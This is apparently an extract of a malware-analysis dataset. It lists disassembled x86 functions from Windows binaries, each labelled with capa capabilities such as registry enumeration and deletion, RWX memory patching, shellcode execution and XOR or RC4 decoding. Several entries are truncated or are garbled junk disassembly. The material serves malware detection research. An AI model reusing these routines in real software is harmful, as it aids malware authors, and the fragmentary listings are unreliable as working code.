joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41a449
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push ebx
push esi
push edi
push 8
xor edi, edi
push edi
lea eax, [ebp - 0x1c]
push eax
call fcn.004087d0
mov eax, 0xc1c
call fcn.004086ed
mov dword [ebp - 0xc], eax
cmp eax, edi
je 0x41a661
add eax, 0x3fc
push 0x6a
mov dword [ebp - 0x20], eax
lea esi, [ebp - 0x100]
pop eax
mov dword [ebp - 0x2c], 0x80000001
mov dword [ebp - 0x28], 0x80000002
call fcn.004066cb
push 0x6b
lea esi, [ebp - 0x54]
pop eax
call fcn.004066cb
push 0x6c
lea esi, [ebp - 0x80]
pop eax
call fcn.004066cb
push 0x6d
lea esi, [ebp - 0x40]
pop eax
call fcn.004066cb
push 0x6e
lea esi, [ebp - 0x68]
pop eax
call fcn.004066cb
mov dword [ebp - 8], edi
mov ebx, 0xff
lea eax, [ebp - 4]
push eax
push 8
push edi
lea eax, [ebp - 0x100]
push eax
mov eax, dword [ebp - 8]
push dword [ebp + eax*4 - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41a64c
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x308]
push eax
push edi
push dword [ebp - 4]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x41a643
mov edi, dword [ebp - 0xc]
inc dword [ebp - 0x14]
push ebx
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x308]
push eax
mov eax, dword [ebp - 4]
call fcn.0040c992
mov dword [ebp - 0x24], eax
cmp eax, 0xffffffff
je 0x41a615
test eax, eax
je 0x41a615
push ebx
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x308]
push eax
mov eax, dword [ebp - 4]
add edi, 0x1fe
call fcn.0040c992
mov esi, eax
cmp esi, 0xffffffff
je 0x41a615
test esi, esi
je 0x41a615
mov edi, dword [ebp - 0x20]
push ebx
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x308]
push eax
mov eax, dword [ebp - 4]
call fcn.0040c992
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
je 0x41a615
test eax, eax
je 0x41a615
add esi, dword [ebp - 0x24]
push esi
call fcn.0041a38f
test eax, eax
jle 0x41a615
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x308]
push eax
mov eax, dword [ebp - 4]
call fcn.0040ca48
mov edi, eax
cmp edi, 1
jb 0x41a5cb
cmp edi, 0xffff
jbe 0x41a5ce
push 0x15
pop edi
push 0x35
lea esi, [ebp - 0xa8]
pop eax
call fcn.004066cb
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
push edi
push eax
push ecx
add eax, 0x1fe
push eax
mov eax, esi
push eax
mov edx, 0x311
lea edi, [ecx + 0x1fe]
call fcn.0040942b
add esp, 0x14
test eax, eax
jle 0x41a615
push edi
lea ecx, [ebp - 0x1c]
call fcn.00408b0e
test al, al
je 0x41a615
inc dword [ebp - 0x18]
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x308]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x10], 0x104
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x41a51e
xor edi, edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jb 0x41a4d0
push dword [ebp - 0xc]
call fcn.0040871d
cmp dword [ebp - 0x18], edi
jbe 0x41a673
mov edi, dword [ebp - 0x1c]
push 0x6f
pop eax
call fcn.00418fa7
jmp 0x41a67b
push dword [ebp - 0x1c]
call fcn.0040871d
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41a92d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push esi
push edi
push 0x75
lea esi, [ebp - 0x38]
pop eax
call fcn.004066cb
mov eax, esi
push 8
mov dword [ebp - 0xc], eax
xor esi, esi
push esi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x18], 0x26
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x23
call fcn.004087d0
xor edi, edi
lea eax, [ebp - 0x240]
push eax
push esi
push esi
push dword [ebp + edi*4 - 0x18]
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x41a9a3
push esi
push esi
push esi
lea eax, [ebp - 8]
push eax
push 0x41a6a8
push 2
push 1
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x240]
call fcn.0040e018
inc edi
cmp edi, 3
jb 0x41a96d
cmp dword [ebp - 4], esi
jbe 0x41a9bb
mov edi, dword [ebp - 8]
push 0x76
pop eax
call fcn.00418fa7
jmp 0x41a9c3
push dword [ebp - 8]
call fcn.0040871d
pop edi
pop esi
leave
ret
Function at 0x41a9c7
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
push ebx
push esi
push edi
push 8
xor edi, edi
push edi
lea eax, [ebp - 0x18]
push eax
call fcn.004087d0
mov eax, 0xc1c
call fcn.004086ed
mov dword [ebp - 0xc], eax
cmp eax, edi
je 0x41abd9
push 0x77
lea esi, [ebp - 0xb0]
pop eax
call fcn.004066cb
push 0x78
lea esi, [ebp - 0x3c]
pop eax
call fcn.004066cb
push 0x79
lea esi, [ebp - 0x48]
pop eax
call fcn.004066cb
push 0x7a
lea esi, [ebp - 0x30]
pop eax
call fcn.004066cb
push 0x7b
lea esi, [ebp - 0x24]
pop eax
call fcn.004066cb
lea eax, [ebp - 4]
push eax
push 8
push edi
lea eax, [ebp - 0xb0]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41abb7
push edi
push edi
push edi
push edi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x2b8]
push eax
push edi
push dword [ebp - 4]
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x41abae
mov ebx, 0xff
mov edi, dword [ebp - 0xc]
inc dword [ebp - 0x10]
push ebx
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2b8]
push eax
mov eax, dword [ebp - 4]
call fcn.0040c992
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x41ab80
test eax, eax
je 0x41ab80
push ebx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2b8]
push eax
mov eax, dword [ebp - 4]
add edi, 0x1fe
mov dword [ebp - 0x1c], edi
call fcn.0040c992
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x41ab80
test eax, eax
je 0x41ab80
push ebx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x2b8]
push eax
mov eax, dword [ebp - 4]
add edi, 0x1fe
call fcn.0040c992
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x41ab80
test eax, eax
je 0x41ab80
mov ecx, edi
call fcn.00409268
test eax, eax
jle 0x41ab80
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x2b8]
push eax
mov eax, dword [ebp - 4]
call fcn.0040ca48
mov edi, eax
cmp edi, 1
jb 0x41ab33
cmp edi, 0xffff
jbe 0x41ab36
push 0x15
pop edi
push 0x35
lea esi, [ebp - 0x70]
pop eax
call fcn.004066cb
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1c]
push edi
push ecx
add eax, 0x1fe
push eax
add ecx, 0x1fe
push ecx
mov ecx, esi
push ecx
mov edx, 0x311
lea edi, [eax + 0x1fe]
call fcn.0040942b
add esp, 0x14
test eax, eax
jle 0x41ab80
push edi
lea ecx, [ebp - 0x18]
call fcn.00408b0e
test al, al
je 0x41ab80
inc dword [ebp - 0x14]
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x2b8]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 8], 0x104
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x41aa81
xor edi, edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0xc]
call fcn.0040871d
cmp dword [ebp - 0x14], edi
jbe 0x41abd1
mov edi, dword [ebp - 0x18]
push 0x7c
pop eax
call fcn.00418fa7
jmp 0x41abd9
push dword [ebp - 0x18]
call fcn.0040871d
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41b320
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x53c
push ebx
push esi
push edi
push 8
push 0
lea eax, [ebp - 0xc]
push eax
call fcn.004087d0
lea esi, [ebp - 0x128]
mov eax, 0x83
call fcn.004066cb
lea esi, [ebp - 0xb8]
mov eax, 0x85
call fcn.004066cb
lea esi, [ebp - 0x54]
mov eax, 0x84
call fcn.004066cb
lea esi, [ebp - 0x2c]
mov eax, 0x86
call fcn.004066cb
lea eax, [ebp - 0x128]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, esi
mov dword [ebp - 0x10], eax
xor esi, esi
mov dword [ebp - 4], 2
mov ebx, 0x104
push ebx
push dword [ebp + esi - 0x14]
lea edi, [ebp - 0x330]
push dword [ebp + esi - 0x1c]
mov eax, 0x80000001
call fcn.0040c992
cmp eax, 0xffffffff
je 0x41b3df
test eax, eax
je 0x41b3df
push ebx
lea eax, [ebp - 0x538]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x538]
call fcn.0041b08d
add esi, 4
dec dword [ebp - 4]
jne 0x41b39e
cmp dword [ebp - 8], 0
jbe 0x41b3fc
mov edi, dword [ebp - 0xc]
mov eax, 0x87
call fcn.00418fa7
jmp 0x41b404
push dword [ebp - 0xc]
call fcn.0040871d
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41b4fa
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor bl, bl
jmp 0x41b525
cmp byte [ebp + 0x10], 0
jne 0x41b514
cmp bl, 0xa
je 0x41b53e
movzx eax, bl
add eax, 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
inc bl
push 0x20
push edi
call esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call fcn.0040da9a
test al, al
je 0x41b509
mov al, 1
jmp 0x41b540
xor al, al
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x41b602
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
call dword [ebp + 8]
test eax, eax
je 0x41b66f
push edi
push dword [ebp + 0xc]
call fcn.0040bf40
mov edi, eax
test edi, edi
je 0x41b665
push dword [ebp + 0x10]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0x41b65f
push esi
push dword [ebp + 0x14]
mov esi, dword [ebp + 0xc]
lea eax, [ebp + 8]
push 0x4041f0
push eax
call fcn.004094a6
add esp, 0xc
test eax, eax
jle 0x41b65e
push dword [ebp + 8]
push esi
call fcn.0040a027
push dword [ebp + 8]
call fcn.0040871d
pop esi
push edi
call fcn.0040871d
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebp
ret 0x10
Function at 0x41c043
Capabilities:
Delete registry key
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xbe8
push esi
push edi
push 1
lea edi, [esp + 0x574]
call fcn.00416c9b
mov esi, dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov eax, edi
push eax
call esi
push 2
lea edi, [esp + 0x36c]
call fcn.00416c9b
mov eax, edi
push eax
call esi
or dword [0x424730], 2
push 0
call fcn.0041b5cc
call fcn.0041d9ad
lea ecx, [esp + 0x570]
call fcn.0040df5d
mov ecx, edi
call fcn.0040df5d
push 3
lea edi, [esp + 0x164]
call fcn.00416c9b
mov eax, edi
push eax
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
mov esi, dword [sym.imp.USER32.dll_CharToOemW]
lea eax, [esp + 0x160]
push eax
lea eax, [esp + 0x574]
push eax
call esi
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x36c]
push eax
call esi
push 7
lea edi, [esp + 0xc]
pop eax
call fcn.00406695
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x164]
push eax
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x16c]
push eax
mov eax, edi
push eax
mov edi, 0x474
lea esi, [esp + 0x78c]
call fcn.0040946f
add esp, 0x14
test eax, eax
jle 0x41c12f
mov eax, esi
push eax
call fcn.0040a1c5
cmp dword [0x424bf8], 0xffffffff
jne 0x41c140
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41d607
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
xor ebx, ebx
mov esi, eax
push edi
mov byte [ebp - 1], bl
cmp esi, ebx
je 0x41d829
mov edi, dword [ebp + 0xc]
cmp edi, ebx
je 0x41d829
mov ecx, 0x425040
call fcn.00409256
test eax, eax
jle 0x41d829
mov edx, dword [ebp + 8]
mov ecx, 0x404bb4
call fcn.00409881
test al, al
je 0x41d70e
mov esi, dword [ebp + 8]
mov edx, esi
mov ecx, 0x404bcc
mov dword [ebp + 0x14], ebx
call fcn.00409881
test al, al
je 0x41d66f
xor eax, eax
inc eax
jmp 0x41d685
mov edx, esi
mov ecx, 0x404be8
call fcn.00409881
movzx eax, al
neg eax
sbb eax, eax
and eax, 2
movzx eax, ax
dec eax
je 0x41d696
dec eax
jne 0x41d6b5
push esi
call fcn.0041df05
jmp 0x41d6a0
lea eax, [ebp + 0x14]
push eax
push esi
call fcn.0041de14
cmp al, bl
je 0x41d6b5
cmp dword [ebp + 0x14], ebx
je 0x41d6ae
mov ebx, dword [ebp + 0x14]
jmp 0x41d6c4
push 0x404b0c
jmp 0x41d6ba
push 0x404b14
or eax, 0xffffffff
call fcn.00408b78
mov ebx, eax
mov ecx, ebx
call fcn.00409256
push eax
push 0x404b20
mov edi, 0x200
lea esi, [ebp - 0x230]
call fcn.0040946f
mov esi, dword [ebp + 0xc]
pop ecx
pop ecx
mov ecx, ebx
mov dword [esi], ebx
call fcn.00409256
push dword [ebp + 0x10]
lea ecx, [ebp - 0x230]
mov dword [esi + 4], eax
call fcn.00409256
push eax
mov eax, ecx
push eax
call fcn.0041d217
jmp 0x41d82c
push dword [ebp + 8]
call fcn.0041d102
mov edx, eax
mov dword [ebp + 8], edx
cmp edx, ebx
je 0x41d829
push 0x28
push ebx
lea eax, [ebp - 0x2c]
push eax
call fcn.004087d0
push 8
push ebx
push edi
call fcn.004087d0
mov eax, edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], esi
call fcn.0041d59a
test al, al
je 0x41d74d
xor eax, eax
jmp 0x41d761
push 0x4049e8
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
neg eax
sbb eax, eax
neg eax
cmp al, bl
sete al
push ebx
push dword [ebp + 0x14]
mov dword [ebp - 0x1c], 0x32
mov dword [ebp - 0x14], edi
lea eax, [eax*4 + 1]
mov byte [ebp - 0x24], al
mov eax, dword [0x424bf4]
mov dword [ebp - 0x20], eax
call fcn.0041d14f
push ebx
push ebx
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x2c]
push eax
push 0x41d3b9
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp + 0xc], eax
cmp eax, ebx
je 0x41d7ba
lea eax, [ebp + 0xc]
push eax
call fcn.0040bfbe
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], 1
mov esi, dword [ebp - 0x14]
jne 0x41d7dc
cmp dword [esi], ebx
je 0x41d7dc
cmp dword [esi + 4], ebx
je 0x41d7dc
push dword [ebp + 0x10]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.0041d217
jmp 0x41d7f5
cmp byte [ebp + 0x10], 1
jne 0x41d7ff
mov eax, dword [ebp + 8]
call fcn.0041d59a
test al, al
jne 0x41d7ff
mov eax, esi
call fcn.0041d39a
mov byte [ebp - 1], al
cmp al, bl
jne 0x41d811
mov esi, dword [ebp - 0x14]
push dword [esi]
call fcn.0040871d
mov eax, dword [ebp - 0x14]
mov dword [eax], ebx
mov eax, dword [ebp - 0x14]
mov dword [eax + 4], ebx
push dword [ebp - 0x10]
call fcn.0040871d
push dword [ebp - 0x18]
call fcn.0040871d
push dword [ebp + 8]
call fcn.0040871d
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x41d9ad
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4
push ebx
push esi
push edi
push 0
lea eax, [ebp - 0xd0]
push eax
push 0xff220829
call fcn.00416964
push 3
lea esi, [ebp - 0x68]
pop eax
call fcn.004066cb
xor bl, bl
mov edi, 0x80000001
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x68]
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
test eax, eax
jne 0x41da37
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 1
push 0
lea eax, [ebp - 0x68]
push eax
push edi
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41da2a
lea eax, [ebp - 0xd0]
push eax
lea esi, [ebp - 4]
call fcn.0040cbc0
jmp 0x41da2c
xor al, al
test al, al
je 0x41da3e
inc bl
cmp bl, 5
jb 0x41d9de
xor al, al
pop edi
pop esi
pop ebx
leave
ret
mov al, 1
jmp 0x41da39
Function at 0x41dfe0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push edi
push 0x404c10
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
test edi, edi
jne 0x41dfff
inc eax
jmp 0x41e179
push esi
push 0x1c
push 0
lea eax, [ebp - 0x28]
push eax
call fcn.004087d0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
push 0x1c
lea eax, [ebp - 0x28]
push eax
push edi
call esi
push 0x1c
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x1c]
add eax, edi
push eax
call esi
mov eax, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x28]
mov dword [ebp - 8], eax
test eax, eax
je 0x41e175
test edi, edi
je 0x41e175
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
test eax, eax
je 0x41e0e1
mov dword [ebp - 4], edi
push 0xb
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x41e0e1
mov eax, dword [ebp - 4]
cmp byte [eax], 0x75
jne 0x41e0d4
cmp byte [esi + edi + 2], 0x83
jne 0x41e0d4
cmp byte [esi + edi + 4], 4
jne 0x41e0d4
cmp byte [esi + edi + 5], 0x83
jne 0x41e0d4
cmp byte [esi + edi + 7], 4
jne 0x41e0d4
cmp byte [esi + edi + 8], 0x83
jne 0x41e0d4
cmp byte [esi + edi + 0xa], 4
jne 0x41e0d4
push 2
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x41e129
lea eax, [ebp - 0xc]
push eax
push 0x40
push 4
push dword [ebp - 4]
call ebx
test eax, eax
je 0x41e12d
mov eax, dword [ebp - 4]
mov ecx, 0x9090
mov word [eax], cx
lea ecx, [ebp - 0xc]
push ecx
push dword [ebp - 0xc]
push 4
push eax
call ebx
test eax, eax
je 0x41e12d
inc esi
inc dword [ebp - 4]
cmp esi, dword [ebp - 8]
jb 0x41e056
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
cmp dword [ebp - 8], esi
jbe 0x41e125
mov dword [ebp - 4], edi
push 0xe
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x41e131
mov ecx, dword [ebp - 4]
push 0xd
mov eax, 0x404c1c
call fcn.0040878e
test eax, eax
je 0x41e135
inc esi
inc dword [ebp - 4]
cmp esi, dword [ebp - 8]
jb 0x41e0fa
push 0xfffffffffffffff9
jmp 0x41e177
push 0xfffffffffffffff5
jmp 0x41e177
push 0xfffffffffffffffd
jmp 0x41e177
push 0xfffffffffffffff4
jmp 0x41e177
lea esi, [esi + edi + 0xd]
mov edi, 0xe990
cmp word [esi], di
jne 0x41e147
xor eax, eax
jmp 0x41e178
lea eax, [ebp - 0xc]
push eax
push 0x40
push 2
push esi
call ebx
test eax, eax
jne 0x41e15a
push 0xfffffffffffffffb
jmp 0x41e177
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
mov word [esi], di
push 2
push esi
call ebx
neg eax
sbb eax, eax
and eax, 6
add eax, 0xfffffffa
jmp 0x41e178
push 0xffffffffffffffec
pop eax
pop esi
pop edi
pop ebx
leave
ret
Function at 0x41e217
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
push esi
mov esi, ecx
push edi
mov edi, eax
test si, si
je 0x41e24b
push 2
mov eax, esi
pop edx
call fcn.0041e17d
test al, al
je 0x41e24b
mov edi, dword [ebp + 8]
push 0x17
mov eax, esi
pop edx
call fcn.0041e17d
mov ax, si
jmp 0x41e299
push 2
xor eax, eax
pop edx
call fcn.0041e17d
test al, al
je 0x41e297
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x8c]
push eax
push dword [edi]
mov dword [ebp - 8], 0x80
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x41e287
mov ax, word [ebp - 0x8a]
rol ax, 8
movzx esi, ax
jmp 0x41e239
mov esi, dword [edi]
call fcn.0040bbf4
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret 4
Function at 0x401038
Capabilities:
Get common file path

Disassembly:
push edi
sub esp, 0x200
mov edi, esp
push 0x78
push edi
call sub.KERNEL32.dll_GetSystemDirectoryA
lea edx, [edi + 0x7c]
xor ecx, ecx
push ecx
push ecx
push ecx
push edx
push ecx
push edi
add edi, eax
mov eax, 0x69636d5c
stosd dword es:[edi], eax
mov eax, 0x33697661
stosd dword es:[edi], eax
mov eax, 0x6c642e32
stosd dword es:[edi], eax
mov eax, 0x6c
stosd dword es:[edi], eax
call sub.KERNEL32.dll_FindFirstFileExA
add esp, 0x200
pop edi
cmp eax, 1
jg 0x401080
ret
pushal
jmp fcn.0040129c

Function at 0x401438
Capabilities:
Accept command line arguments

Disassembly:
mov edi, edi
push ebp
push edi
push edx
push esi
push ebx
push eax
call fcn.004014f8
pop edi
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, 0x18
push ebx
call sub.KERNEL32.dll_Sleep
pop ebp
ret 0x10

Function at 0x40151c
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
lea edx, [0x403170]
push edx
push esi
mov esi, esp
push esi
push 0x2b
add dword [esp], 0x15
push 0xfffffe6c
add dword [esp], 0xaec
push section..data
sub eax, eax
sub eax, sym.imp.KERNEL32.dll_VirtualProtect
neg eax
call dword [eax]
pop esi
pop edx
mov esi, 0x403400
mov dword [edx - 0x44], esi
lea edi, [esi + 0xbf]
mov eax, 0x4020f9
xor ebx, ebx
mov ecx, dword [eax]
add eax, 3
inc eax
mov dword [edi - 0xbf], ecx
add edi, 4
xor dword [edi - 0xc3], 0x7369a3c7
sub dword [edi - 0xc3], 0x4eac6723
add ebx, 4
cmp ebx, 0x558
jne 0x401563
push edx
push 0
call sub.KERNEL32.dll_ResetEvent
pop edx
pop ebp
ret 8

Function at 0xdd0dec
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdd0df6
pushal
call 0xdd0dfc
pop ebp
sub ebp, 0x10
sub ebp, 0x9d0dec
jmp 0xdd0e12
mov eax, 0x9d0dec
add eax, ebp
add eax, 0x4c
mov ecx, 0x5cd
mov edx, 0x119a0b9e
xor byte [eax], dl
inc eax
dec ecx
jne 0xdd0e29
jmp 0xdd0e3c
adc eax, 0xa2171553
sahf
sahf
sahf
pop ds
pop ss
mov byte [0x1f9e9e9e], al
pop edi
sahf
sahf
sahf
popfd
push ebx
lcall 0x9eb6, 0x249e9e9e
sahf
sahf
imul edi, dword [ebp + ebx*4 + 0x56], 0x9e921f15
sahf
sahf
popfd
pop ebx
adc edi, edx
mov edx, 0xba9a1762
adc edi, edx
mov edx, 0xba9a1762
mul byte [esi + 4]
mov edi, 0xec6af69e
in eax, 0x9e
lahf
mov dl, 0xba
not byte [eax + 0x763aed89]
wait
sahf
sahf
sahf
ja 0xdd0e3f
sahf
sahf
sahf
retf
Function at 0x407474
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x64
mov eax, dword [ebp + 8]
push ebx
mov eax, dword [eax]
push esi
mov esi, dword [edx]
push edi
mov edi, dword [ebp + 0x34]
Function at 0x408922
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, word [ecx]
push ebx
movzx eax, byte [eax + 0x49e560]
push esi
push edi
mov edi, edx
xor edx, edx
lea ecx, [ecx + eax*2]
inc edx
Function at 0x413200
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb4
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edx, dword [esi]
mov edi, ecx
sub esp, 0x10
adc byte [ebx + 0xf487], cl
add byte [ecx - 0x74afdbbc], cl
inc ebx
add al, 0x89
jl 0x413250
pop esp
Function at 0x439e76
Capabilities:
Encode data using xor

Disassembly:
jge 0x439e80
add byte [ecx + 0x53], dl
push esi
push edi
mov edi, edx
xor esi, esi
mov ebx, ecx
test edi, edi
je 0x439ec2
test byte [ebx + 0x74ff85d9], 0x3b
push edi
call fcn.00420cf6
pop ecx
dec ebp
clc
je 0x439ec2
mov ecx, edi
call fcn.0041c70f
jne 0x439eb7
or byte [ebp + 0x68fc4d], cl
out 0x4b, al
add byte [edx + 1], ch
push ecx
dec edi
add al, 0x8b
mov eax, dword [ebx]
push 0x48d93c
push ebx
call dword [eax + 0x14]
jne 0x439ed3
cld
mov esi, eax
call fcn.00420dfb
pop ecx
jmp 0x439ec7
mov eax, dword [ebp + 8]
mov dword [eax], esi
pop edi
add dh, al
pop esi
pop ebx
test bl, al
push esp
and dword [ebp - 4], 0
Function at 0x443fb6
Capabilities:
Encode data using xor

Disassembly:
jge 0x443fc0
add byte [ebx - 0x74a9d714], al
jne 0x443fc8
test esi, esi
js 0x44403b
jne 0x443fca
push 0
jmp 0x444035
cmp esi, 0xf
jae 0x444034
lea eax, [ebp - 0x10]
push eax
call dword [0x48d1ac]
lea eax, [ecx + 0x74]
push edi
mov dword [ebp + 8], esi
fild dword [ebp + 8]
test esi, esi
jns 0x443fed
fadd qword [0x4b6a00]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fstp qword [ebp - 0x28]
push 0
call dword [0x48d170]
xor al, 0x45
clc
push eax
call dword [0x48d1ac]
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
sbb eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], eax
fild qword [ebp - 0x18]
fstp qword [ebp - 0x20]
call fcn.0041e2d8
fdivr qword [ebp - 0x20]
fcomp qword [ebp - 0x28]
fnstsw ax
test ah, 5
jnp 0x443ff6
jmp 0x44403b
push esi
call dword [0x48d170]
pop esi
test dl, al
add al, 0